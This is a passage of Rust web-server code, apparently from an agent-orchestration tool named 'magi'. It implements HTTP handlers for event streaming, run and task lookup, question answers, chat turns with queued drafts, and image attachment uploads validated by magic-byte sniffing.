3333 "{e:#} - a daemon is running this task, so it cannot be \
3334 changed from here yet"
3335 ))
3336 })?;
3337 let mut task = ui.queue.get(&id)?;
3338 change(&mut task).map_err(ApiError::bad_request_from)?;
3339 ui.queue.put(&mut task)?;
3340 Ok(Json(TaskView::from(task)))
3341 })
3342 .await
3343}
3344
3345async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
3353 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
3354 tokio::spawn(async move {
3355 let mut ticker = tokio::time::interval(POLL);
3356 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
3357 loop {
3358 ticker.tick().await;
3361 let state = Arc::clone(&ui);
3362 let revisions = tokio::task::spawn_blocking(move || {
3363 (
3364 state.queue.revision(),
3365 runs_revision(&state.runs),
3366 state.questions.revision(),
3367 state.talks.revision(),
3368 state.notices.revision(),
3369 state.lock_loop().rev,
3373 )
3374 })
3375 .await;
3376 let Ok(revisions) = revisions else { break };
3377 if last == Some(revisions) {
3378 continue;
3379 }
3380 last = Some(revisions);
3381 let payload = serde_json::json!({
3382 "queue_rev": revisions.0,
3383 "runs_rev": revisions.1,
3384 "questions_rev": revisions.2,
3385 "talks_rev": revisions.3,
3386 "notifications_rev": revisions.4,
3387 "loop_rev": revisions.5,
3388 });
3389 let Ok(event) = Event::default().event("change").json_data(payload) else {
3391 break;
3392 };
3393 if tx.send(event).await.is_err() {
3394 break;
3395 }
3396 }
3397 });
3398 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
3399 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
3400}
3401
3402fn runs_revision(runs: &FsPath) -> u64 {
3409 use std::hash::{Hash as _, Hasher as _};
3410
3411 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
3412 .into_iter()
3413 .flatten()
3414 .flatten()
3415 .filter_map(|e| {
3416 let path = e.path().join("run.json");
3417 let mtime = path
3418 .metadata()
3419 .ok()?
3420 .modified()
3421 .ok()?
3422 .duration_since(std::time::UNIX_EPOCH)
3423 .ok()?
3424 .as_millis() as u64;
3425 let id = e.file_name().to_string_lossy().into_owned();
3426 Some((id, mtime))
3427 })
3428 .collect();
3429
3430 if entries.is_empty() {
3431 return 0;
3432 }
3433
3434 entries.sort_unstable();
3435 let mut hasher = std::hash::DefaultHasher::new();
3436 for (id, mtime) in &entries {
3437 id.hash(&mut hasher);
3438 mtime.hash(&mut hasher);
3439 }
3440 let h = hasher.finish();
3441 if h == 0 { 1 } else { h }
3442}
3443
3444fn run_ids(runs: &FsPath) -> Vec<String> {
3450 let mut ids: Vec<String> = std::fs::read_dir(runs)
3451 .into_iter()
3452 .flatten()
3453 .flatten()
3454 .filter(|e| e.path().join("run.json").is_file())
3455 .map(|e| e.file_name().to_string_lossy().into_owned())
3456 .collect();
3457 ids.sort_unstable_by(|a, b| b.cmp(a));
3459 ids
3460}
3461
3462fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3464 let path = runs.join(id).join("run.json");
3465 let body =
3466 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3467 let state: RunState =
3468 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3469 if state.schema != run::SCHEMA {
3470 anyhow::bail!(
3471 "run {} was written by a different magi (schema {}, this build speaks {})",
3472 state.id,
3473 state.schema,
3474 run::SCHEMA
3475 );
3476 }
3477 Ok(state)
3478}
3479
3480#[must_use]
3488pub fn runs_unreadable(runs: &FsPath) -> usize {
3489 run_ids(runs)
3490 .into_iter()
3491 .filter(|id| read_run(runs, id).is_err())
3492 .count()
3493}
3494
3495fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3497 if runs.join(id).join("run.json").is_file() {
3498 return Ok(id.to_owned());
3499 }
3500 pick(run_ids(runs), id, "run")
3501}
3502
3503fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3505 if queue.path_of(id).is_file() {
3506 return Ok(id.to_owned());
3507 }
3508 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3509}
3510
3511#[derive(Debug, Serialize)]
3522struct QuestionView {
3523 #[serde(flatten)]
3524 question: Question,
3525 detail_md: Vec<md::Node>,
3526 waiting_on_agent: bool,
3536}
3537
3538impl From<Question> for QuestionView {
3539 fn from(question: Question) -> Self {
3540 let base = md::ImageBase::QuestionPanel {
3541 id: question.id.clone(),
3542 };
3543 Self {
3544 detail_md: md::to_nodes(&question.detail, &base),
3545 waiting_on_agent: question.waiting_on_agent(),
3546 question,
3547 }
3548 }
3549}
3550
3551async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3557 blocking(move || {
3558 Ok(Json(
3559 ui.questions
3560 .list()
3561 .into_iter()
3562 .map(QuestionView::from)
3563 .collect(),
3564 ))
3565 })
3566 .await
3567}
3568
3569async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3572 blocking(move || {
3573 let items = ui.notices.list();
3574 let unread = items.iter().filter(|n| n.unread()).count();
3575 Ok(Json(
3576 serde_json::json!({ "unread": unread, "items": items }),
3577 ))
3578 })
3579 .await
3580}
3581
3582fn notice_error(e: anyhow::Error) -> ApiError {
3583 ApiError::not_found(format!("{e:#}"))
3586}
3587
3588async fn notification_read(
3590 State(ui): State<Arc<Ui>>,
3591 Path(id): Path<String>,
3592) -> ApiResult<Json<Notice>> {
3593 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
3594}
3595
3596async fn notification_dismiss(
3598 State(ui): State<Arc<Ui>>,
3599 Path(id): Path<String>,
3600) -> ApiResult<Json<Notice>> {
3601 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
3602}
3603
3604async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3606 blocking(move || {
3607 let changed = ui.notices.mark_all_read()?;
3608 Ok(Json(serde_json::json!({ "marked": changed })))
3609 })
3610 .await
3611}
3612
3613#[derive(Debug, Default, Deserialize)]
3619#[serde(default, deny_unknown_fields)]
3620struct NewAnswer {
3621 choice: Option<String>,
3622 text: Option<String>,
3623}
3624
3625async fn question_answer(
3626 State(ui): State<Arc<Ui>>,
3627 Path(id): Path<String>,
3628 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3629) -> ApiResult<Json<QuestionView>> {
3630 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3631 let answer = match (body.choice, body.text) {
3632 (Some(c), None) => Answer::Choice(c),
3633 (None, Some(t)) => Answer::Text(t),
3634 (Some(_), Some(_)) => {
3635 return Err(ApiError::bad_request(
3636 "send either `choice` or `text`, not both",
3637 ));
3638 }
3639 (None, None) => {
3640 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3641 }
3642 };
3643
3644 blocking(move || {
3645 let id = resolve_question(&ui.questions, &id)?;
3646 let mut q = ui
3647 .questions
3648 .get(&id)
3649 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3650 if !q.status.open() {
3651 return Err(ApiError::conflict(format!(
3655 "question {} is already {}",
3656 q.short(),
3657 q.status.as_str()
3658 )));
3659 }
3660 q.answer(answer).map_err(ApiError::bad_request_from)?;
3664 ui.questions.put(&mut q)?;
3665 Ok(Json(QuestionView::from(q)))
3666 })
3667 .await
3668}
3669
3670#[derive(Debug, Deserialize)]
3672#[serde(deny_unknown_fields)]
3673struct NewSay {
3674 body: String,
3675}
3676
3677async fn question_say(
3687 State(ui): State<Arc<Ui>>,
3688 Path(id): Path<String>,
3689 body: std::result::Result<Json<NewSay>, JsonRejection>,
3690) -> ApiResult<Json<QuestionView>> {
3691 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3692 blocking(move || {
3693 let id = resolve_question(&ui.questions, &id)?;
3694 let mut q = ui
3695 .questions
3696 .get(&id)
3697 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3698 if !q.status.open() {
3699 return Err(ApiError::conflict(format!(
3703 "question {} is already {}",
3704 q.short(),
3705 q.status.as_str()
3706 )));
3707 }
3708 q.say(body.body).map_err(ApiError::bad_request_from)?;
3711 ui.questions.put(&mut q)?;
3712 Ok(Json(QuestionView::from(q)))
3713 })
3714 .await
3715}
3716
3717fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3719 if store.path_of(id).is_file() {
3720 return Ok(id.to_owned());
3721 }
3722 pick(
3723 store.list().into_iter().map(|q| q.id).collect(),
3724 id,
3725 "question",
3726 )
3727}
3728
3729async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3744 blocking(move || {
3745 let id = resolve_question(&ui.questions, &id)?;
3746 let Some(html) = ui.questions.panel_html(&id) else {
3747 return Err(ApiError::not_found(format!("question {id} has no panel")));
3748 };
3749 Ok(panel_response(
3750 "text/html; charset=utf-8",
3751 false,
3752 html.into_bytes(),
3753 ))
3754 })
3755 .await
3756}
3757
3758async fn question_asset(
3786 State(ui): State<Arc<Ui>>,
3787 Path((id, name)): Path<(String, String)>,
3788) -> ApiResult<Response> {
3789 if !crate::ask::valid_asset_name(&name) {
3792 return Err(ApiError::bad_request(format!(
3793 "`{name}` is not a usable asset name"
3794 )));
3795 }
3796 blocking(move || {
3797 let id = resolve_question(&ui.questions, &id)?;
3798 let asset = ui
3799 .questions
3800 .panel_asset(&id, &name)
3801 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3802 let Some(bytes) = asset else {
3803 return Err(ApiError::not_found(format!(
3804 "question {id} has no asset `{name}`"
3805 )));
3806 };
3807 Ok(panel_response(
3808 asset_content_type(&name),
3809 is_svg(&name),
3810 bytes,
3811 ))
3812 })
3813 .await
3814}
3815
3816fn asset_content_type(name: &str) -> &'static str {
3829 match extension(name).as_deref() {
3830 Some("png") => "image/png",
3831 Some("jpg" | "jpeg") => "image/jpeg",
3832 Some("gif") => "image/gif",
3833 Some("webp") => "image/webp",
3834 Some("svg") => "image/svg+xml",
3835 Some("css") => "text/css; charset=utf-8",
3836 Some("txt") => "text/plain; charset=utf-8",
3837 _ => "application/octet-stream",
3838 }
3839}
3840
3841fn is_svg(name: &str) -> bool {
3844 extension(name).as_deref() == Some("svg")
3845}
3846
3847fn extension(name: &str) -> Option<String> {
3849 name.rsplit_once('.')
3850 .map(|(_, ext)| ext.to_ascii_lowercase())
3851}
3852
3853fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3870 let mut res = (
3871 [
3872 (header::CONTENT_TYPE, content_type),
3873 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3874 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3875 (header::REFERRER_POLICY, "no-referrer"),
3876 ],
3877 body,
3878 )
3879 .into_response();
3880 if download {
3881 res.headers_mut().insert(
3882 header::CONTENT_DISPOSITION,
3883 HeaderValue::from_static("attachment"),
3884 );
3885 }
3886 res
3887}
3888
3889#[derive(Debug, Serialize)]
3895struct TalkView {
3896 #[serde(flatten)]
3897 talk: Talk,
3898 turn_bodies_md: Vec<Vec<md::Node>>,
3899 thinking: bool,
3907}
3908
3909impl TalkView {
3910 fn new(talk: Talk, thinking: bool) -> Self {
3911 let turn_bodies_md = talk
3912 .turns
3913 .iter()
3914 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3915 .collect();
3916 Self {
3917 turn_bodies_md,
3918 thinking,
3919 talk,
3920 }
3921 }
3922}
3923
3924#[derive(Debug, Serialize)]
3929struct TalkDetailView {
3930 #[serde(flatten)]
3931 view: TalkView,
3932 tasks: Vec<TaskView>,
3933}
3934
3935async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3940 blocking(move || {
3941 Ok(Json(
3942 ui.talks
3943 .list()
3944 .into_iter()
3945 .map(|talk| {
3946 let thinking = ui.is_thinking(&talk.id);
3947 TalkView::new(talk, thinking)
3948 })
3949 .collect(),
3950 ))
3951 })
3952 .await
3953}
3954
3955#[derive(Debug, Default, Deserialize)]
3960#[serde(default)]
3961struct NewTalk {
3962 agent: Option<String>,
3963 repo: Option<PathBuf>,
3964}
3965
3966async fn talk_post(
3969 State(ui): State<Arc<Ui>>,
3970 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3971) -> ApiResult<impl IntoResponse> {
3972 let body = match body {
3976 Ok(Json(body)) => body,
3977 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3978 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3979 };
3980 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3981 let cfg = config_for(&repo).await?;
3982 let view = blocking(move || {
3983 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3984 let thinking = ui.is_thinking(&talk.id);
3985 Ok(TalkView::new(talk, thinking))
3986 })
3987 .await?;
3988 Ok((StatusCode::CREATED, Json(view)))
3989}
3990
3991async fn talk_detail(
3993 State(ui): State<Arc<Ui>>,
3994 Path(id): Path<String>,
3995) -> ApiResult<Json<TalkDetailView>> {
3996 blocking(move || {
3997 let id = resolve_talk(&ui.talks, &id)?;
3998 let talk = ui.talks.get(&id)?;
3999 let thinking = ui.is_thinking(&talk.id);
4000 let tasks = talk::tasks_of(&ui.queue, &talk.id)
4001 .into_iter()
4002 .map(TaskView::from)
4003 .collect();
4004 Ok(Json(TalkDetailView {
4005 view: TalkView::new(talk, thinking),
4006 tasks,
4007 }))
4008 })
4009 .await
4010}
4011
4012#[derive(Debug, Default, Deserialize)]
4018#[serde(default, deny_unknown_fields)]
4019struct NewTalkTurn {
4020 text: String,
4021 attachments: Vec<String>,
4022}
4023
4024#[derive(Debug, Deserialize)]
4025#[serde(deny_unknown_fields)]
4026struct EditTalkPending {
4027 text: String,
4028 expected_text: String,
4029 expected_attachments: Vec<String>,
4030}
4031
4032#[derive(Debug, Deserialize)]
4033#[serde(deny_unknown_fields)]
4034struct ClearTalkPending {
4035 expected_text: String,
4036 expected_attachments: Vec<String>,
4037}
4038
4039async fn talk_say(
4051 State(ui): State<Arc<Ui>>,
4052 Path(id): Path<String>,
4053 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4054) -> ApiResult<(StatusCode, Json<TalkView>)> {
4055 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4056 if body.text.trim().is_empty() && body.attachments.is_empty() {
4057 return Err(ApiError::bad_request("say something"));
4058 }
4059
4060 let id = {
4061 let ui = Arc::clone(&ui);
4062 let asked = id.clone();
4063 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4064 };
4065 {
4069 let ui = Arc::clone(&ui);
4070 let id = id.clone();
4071 blocking(move || {
4072 let talk = ui.talks.get(&id)?;
4073 if !talk.status.open() {
4074 return Err(ApiError::conflict(format!(
4075 "talk {} is {} and takes no more turns",
4076 talk.short(),
4077 talk.status.as_str()
4078 )));
4079 }
4080 Ok(())
4081 })
4082 .await?;
4083 }
4084
4085 let attachments = {
4090 let ui = Arc::clone(&ui);
4091 let id = id.clone();
4092 let ids = body.attachments.clone();
4093 blocking(move || {
4094 ids.into_iter()
4095 .map(|att_id| {
4096 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4097 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4098 })
4099 })
4100 .collect::<ApiResult<Vec<talk::Attachment>>>()
4101 })
4102 .await?
4103 };
4104
4105 let start = {
4110 let ui = Arc::clone(&ui);
4111 let id = id.clone();
4112 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4113 };
4114 let turn_guard = match start {
4115 TalkTurnStart::Claimed(turn_guard) => turn_guard,
4116 TalkTurnStart::Pending => {
4117 return Err(ApiError::conflict(
4118 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4119 ));
4120 }
4121 TalkTurnStart::Busy => {
4122 let (tx, rx) = tokio::sync::oneshot::channel();
4138 tokio::spawn({
4139 let ui = Arc::clone(&ui);
4140 let id = id.clone();
4141 let said = body.text.clone();
4142 async move {
4143 let written = blocking({
4144 let ui = Arc::clone(&ui);
4145 let id = id.clone();
4146 move || {
4147 let mut talk = ui.talks.get(&id)?;
4148 #[cfg(test)]
4153 if let Some(gate) = ui
4154 .busy_queue_gate
4155 .lock()
4156 .unwrap_or_else(PoisonError::into_inner)
4157 .take()
4158 {
4159 let _ = gate.reached.send(());
4160 let _ = gate.release.recv();
4161 }
4162 if let Err(error) =
4163 talk::queue(&mut talk, &ui.talks, &said, attachments)
4164 {
4165 if let Ok(fresh) = ui.talks.get(&id) {
4166 if !fresh.status.open() {
4167 return Err(ApiError::conflict(format!(
4168 "talk {} is {} and takes no more turns",
4169 fresh.short(),
4170 fresh.status.as_str()
4171 )));
4172 }
4173 }
4174 return Err(ApiError::from(error));
4175 }
4176 let claim = match ui.begin_queued_talk_turn(&id)? {
4187 Some(turn_guard) => {
4188 let (cfg, _) = Config::discover(&talk.repo, None)?;
4189 Some((talk.clone(), cfg, turn_guard))
4190 }
4191 None => None,
4192 };
4193 let thinking = ui.is_thinking(&id);
4194 Ok((TalkView::new(talk, thinking), claim))
4195 }
4196 })
4197 .await;
4198 let (view, reclaimed) = match written {
4199 Ok(pair) => pair,
4200 Err(e) => {
4201 let _ = tx.send(Err(e));
4206 return;
4207 }
4208 };
4209 let _ = tx.send(Ok(view));
4212 if let Some((talk, cfg, turn_guard)) = reclaimed {
4213 let talks = ui.talks.clone();
4214 drain_loop(talk, talks, cfg, id, turn_guard).await;
4215 }
4216 }
4217 });
4218 let view = rx
4219 .await
4220 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4221 return Ok((StatusCode::ACCEPTED, Json(view)));
4222 }
4223 };
4224
4225 let (talk, cfg) = {
4226 let ui = Arc::clone(&ui);
4227 let id = id.clone();
4228 blocking(move || {
4229 let talk = ui.talks.get(&id)?;
4230 let (cfg, _) = Config::discover(&talk.repo, None)?;
4231 Ok((talk, cfg))
4232 })
4233 .await?
4234 };
4235
4236 let talks = ui.talks.clone();
4237 let (tx, rx) = tokio::sync::oneshot::channel();
4252 tokio::spawn({
4253 let ui = Arc::clone(&ui);
4254 let talks = talks.clone();
4255 let id = id.clone();
4256 let said = body.text.clone();
4257 let mut talk = talk.clone();
4258 async move {
4259 let recorded = blocking({
4260 let talks = talks.clone();
4261 move || {
4262 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
4263 if let Ok(fresh) = talks.get(&talk.id) {
4264 if !fresh.status.open() {
4265 return Err(ApiError::conflict(format!(
4266 "talk {} is {} and takes no more turns",
4267 fresh.short(),
4268 fresh.status.as_str()
4269 )));
4270 }
4271 }
4272 return Err(ApiError::from(error));
4273 }
4274 Ok((said.trim().to_owned(), talk))
4280 }
4281 })
4282 .await;
4283 let (text, mut talk) = match recorded {
4284 Ok(pair) => pair,
4285 Err(e) => {
4286 let _ = tx.send(Err(e));
4290 return;
4291 }
4292 };
4293 let queued = talk.clone();
4294 let thinking = ui.is_thinking(&id);
4295 let _ = tx.send(Ok((queued, thinking)));
4298
4299 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
4300 tracing::warn!("talk {id} turn failed: {e:#}");
4304 }
4305 drain_loop(talk, talks, cfg, id, turn_guard).await;
4308 }
4309 });
4310
4311 let (queued, thinking) = rx
4312 .await
4313 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4314
4315 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
4317}
4318
4319async fn talk_pending_resume(
4323 State(ui): State<Arc<Ui>>,
4324 Path(id): Path<String>,
4325) -> ApiResult<(StatusCode, Json<TalkView>)> {
4326 let id = {
4327 let ui = Arc::clone(&ui);
4328 let asked = id.clone();
4329 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4330 };
4331 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
4332 return Err(ApiError::conflict(
4333 "a talk turn is already running; the queued draft will be handled by it",
4334 ));
4335 };
4336 let (talk, cfg) = {
4337 let ui = Arc::clone(&ui);
4338 let id = id.clone();
4339 blocking(move || {
4340 let talk = ui.talks.get(&id)?;
4341 if !talk.status.open() {
4342 return Err(ApiError::conflict(format!(
4343 "talk {} is {} and takes no more turns",
4344 talk.short(),
4345 talk.status.as_str()
4346 )));
4347 }
4348 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
4349 return Err(ApiError::conflict("there is no queued draft to resume"));
4350 }
4351 let (cfg, _) = Config::discover(&talk.repo, None)?;
4352 Ok((talk, cfg))
4353 })
4354 .await?
4355 };
4356 let view = TalkView::new(talk.clone(), true);
4357 let talks = ui.talks.clone();
4358 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4359 Ok((StatusCode::ACCEPTED, Json(view)))
4360}
4361
4362async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
4378 let live_set = Arc::clone(&turn.turns);
4379 let mut turn = Some(turn);
4387 loop {
4388 let observed = live_set
4392 .lock()
4393 .unwrap_or_else(PoisonError::into_inner)
4394 .queued
4395 .get(&id)
4396 .copied()
4397 .unwrap_or(0);
4398 let drained = blocking({
4399 let talks = talks.clone();
4400 move || {
4401 let result = talk::drain(&mut talk, &talks);
4402 Ok((talk, result))
4403 }
4404 })
4405 .await;
4406 let (next_talk, result) = match drained {
4407 Ok(drained) => drained,
4408 Err(e) => {
4409 tracing::warn!(
4410 status = %e.status,
4411 message = %e.message,
4412 "talk {id} could not start queued-text drain"
4413 );
4414 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4415 turn.take()
4416 .expect("held for the whole loop until released here")
4417 .release(&mut live);
4418 break;
4419 }
4420 };
4421 talk = next_talk;
4422 let drained = match result {
4423 Ok(Some(drained)) => drained,
4424 Ok(None) => {
4425 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4426 if live.queued.get(&id).copied().unwrap_or(0) != observed {
4427 continue;
4428 }
4429 turn.take()
4430 .expect("held for the whole loop until released here")
4431 .release(&mut live);
4432 break;
4433 }
4434 Err(e) => {
4435 tracing::warn!("talk {id} could not drain queued text: {e:#}");
4436 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4437 turn.take()
4438 .expect("held for the whole loop until released here")
4439 .release(&mut live);
4440 break;
4441 }
4442 };
4443 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4444 tracing::warn!("talk {id} turn failed: {e:#}");
4445 }
4446 }
4447}
4448
4449async fn talk_pending_clear(
4451 State(ui): State<Arc<Ui>>,
4452 Path(id): Path<String>,
4453 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4454) -> ApiResult<Json<TalkView>> {
4455 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4456 blocking(move || {
4457 let id = resolve_talk(&ui.talks, &id)?;
4458 let mut talk = ui.talks.get(&id)?;
4459 if !talk.status.open() {
4460 return Err(ApiError::conflict(format!(
4461 "talk {} is {} and takes no more turns",
4462 talk.short(),
4463 talk.status.as_str()
4464 )));
4465 }
4466 if !talk::clear_pending_if_matches(
4467 &mut talk,
4468 &ui.talks,
4469 &body.expected_text,
4470 &body.expected_attachments,
4471 )? {
4472 return Err(ApiError::conflict(
4473 "queued message changed; reload it before clearing",
4474 ));
4475 }
4476 let thinking = ui.is_thinking(&talk.id);
4477 Ok(Json(TalkView::new(talk, thinking)))
4478 })
4479 .await
4480}
4481
4482async fn talk_pending_edit(
4486 State(ui): State<Arc<Ui>>,
4487 Path(id): Path<String>,
4488 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4489) -> ApiResult<Json<TalkView>> {
4490 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4491 let (view, reclaimed) = blocking({
4492 let ui = Arc::clone(&ui);
4493 move || {
4494 let id = resolve_talk(&ui.talks, &id)?;
4495 let mut talk = ui.talks.get(&id)?;
4496 if !talk.status.open() {
4497 return Err(ApiError::conflict(format!(
4498 "talk {} is {} and takes no more turns",
4499 talk.short(),
4500 talk.status.as_str()
4501 )));
4502 }
4503 if !talk::edit_pending_text(
4504 &mut talk,
4505 &ui.talks,
4506 &body.text,
4507 &body.expected_text,
4508 &body.expected_attachments,
4509 )? {
4510 return Err(ApiError::conflict(
4511 "queued message changed; reload it before editing",
4512 ));
4513 }
4514 let claim = match ui.begin_queued_talk_turn(&id)? {
4515 Some(turn_guard) => {
4516 let (cfg, _) = Config::discover(&talk.repo, None)?;
4517 Some((talk.clone(), cfg, id.clone(), turn_guard))
4518 }
4519 None => None,
4520 };
4521 let thinking = ui.is_thinking(&id);
4522 Ok((TalkView::new(talk, thinking), claim))
4523 }
4524 })
4525 .await?;
4526 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4527 let talks = ui.talks.clone();
4528 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4529 }
4530 Ok(Json(view))
4531}
4532
4533async fn talk_close(
4535 State(ui): State<Arc<Ui>>,
4536 Path(id): Path<String>,
4537) -> ApiResult<Json<TalkView>> {
4538 blocking(move || {
4539 let id = resolve_talk(&ui.talks, &id)?;
4540 let mut talk = ui.talks.get(&id)?;
4541 talk::close(&mut talk, &ui.talks)?;
4542 let thinking = ui.is_thinking(&talk.id);
4543 Ok(Json(TalkView::new(talk, thinking)))
4544 })
4545 .await
4546}
4547
4548async fn talk_reopen(
4550 State(ui): State<Arc<Ui>>,
4551 Path(id): Path<String>,
4552) -> ApiResult<Json<TalkView>> {
4553 blocking(move || {
4554 let id = resolve_talk(&ui.talks, &id)?;
4555 let mut talk = ui.talks.get(&id)?;
4556 talk::reopen(&mut talk, &ui.talks)?;
4557 let thinking = ui.is_thinking(&talk.id);
4558 Ok(Json(TalkView::new(talk, thinking)))
4559 })
4560 .await
4561}
4562
4563async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4573 blocking(move || {
4574 let id = resolve_talk(&ui.talks, &id)?;
4575 ui.talks.remove(&id)?;
4576 Ok(StatusCode::NO_CONTENT)
4577 })
4578 .await
4579}
4580
4581fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4583 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4584}
4585
4586async fn talk_attachment_post(
4589 State(ui): State<Arc<Ui>>,
4590 Path(id): Path<String>,
4591 headers: HeaderMap,
4592 body: Bytes,
4593) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4594 let mime = validate_attachment(&headers, &body)?;
4595 let name = filename_header(&headers);
4596 let data = body.to_vec();
4597 blocking(move || {
4598 let id = resolve_talk(&ui.talks, &id)?;
4599 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4600 Ok((StatusCode::CREATED, Json(att)))
4601 })
4602 .await
4603}
4604
4605async fn talk_attachment_get(
4608 State(ui): State<Arc<Ui>>,
4609 Path((id, att)): Path<(String, String)>,
4610) -> ApiResult<Response> {
4611 blocking(move || {
4612 let id = resolve_talk(&ui.talks, &id)?;
4613 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4614 return Err(ApiError::not_found(format!(
4615 "talk {id} has no attachment `{att}`"
4616 )));
4617 };
4618 Ok(attachment_response(&meta.mime, data))
4619 })
4620 .await
4621}
4622
4623fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4634 if data.len() > ATTACHMENT_MAX_BYTES {
4635 return Err(ApiError::bad_request(format!(
4636 "attachment is {} bytes, over the {} MiB limit",
4637 data.len(),
4638 ATTACHMENT_MAX_BYTES / (1024 * 1024)
4639 ))
4640 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4641 }
4642 if data.is_empty() {
4643 return Err(ApiError::bad_request("attachment is empty"));
4644 }
4645 let declared = declared_mime(headers)?;
4646 match sniffed_mime(data) {
4647 Some(sniffed) if sniffed == declared => Ok(declared),
4648 Some(sniffed) => Err(ApiError::bad_request(format!(
4649 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4650 ))),
4651 None => Err(ApiError::bad_request(
4652 "the file's bytes do not match any accepted image format",
4653 )),
4654 }
4655}
4656
4657fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4661 let raw = headers
4662 .get(header::CONTENT_TYPE)
4663 .and_then(|v| v.to_str().ok())
4664 .unwrap_or("")
4665 .split(';')
4666 .next()
4667 .unwrap_or("")
4668 .trim()
4669 .to_ascii_lowercase();
4670 ATTACHMENT_MIME_WHITELIST
4671 .iter()
4672 .find(|&&m| m == raw)
4673 .copied()
4674 .ok_or_else(|| {
4675 if raw == "image/svg+xml" {
4676 ApiError::bad_request(
4677 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4678 not just a picture",
4679 )
4680 } else if raw.is_empty() {
4681 ApiError::bad_request("Content-Type is required for an attachment upload")
4682 } else {
4683 ApiError::bad_request(format!(
4684 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4685 image/gif or image/webp"
4686 ))
4687 }
4688 })
4689}
4690
4691fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4694 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4695 Some("image/png")
4696 } else if data.starts_with(b"\xff\xd8\xff") {
4697 Some("image/jpeg")
4698 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4699 Some("image/gif")
4700 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4701 Some("image/webp")
4702 } else {
4703 None
4704 }
4705}
4706
4707fn filename_header(headers: &HeaderMap) -> String {
4713 headers
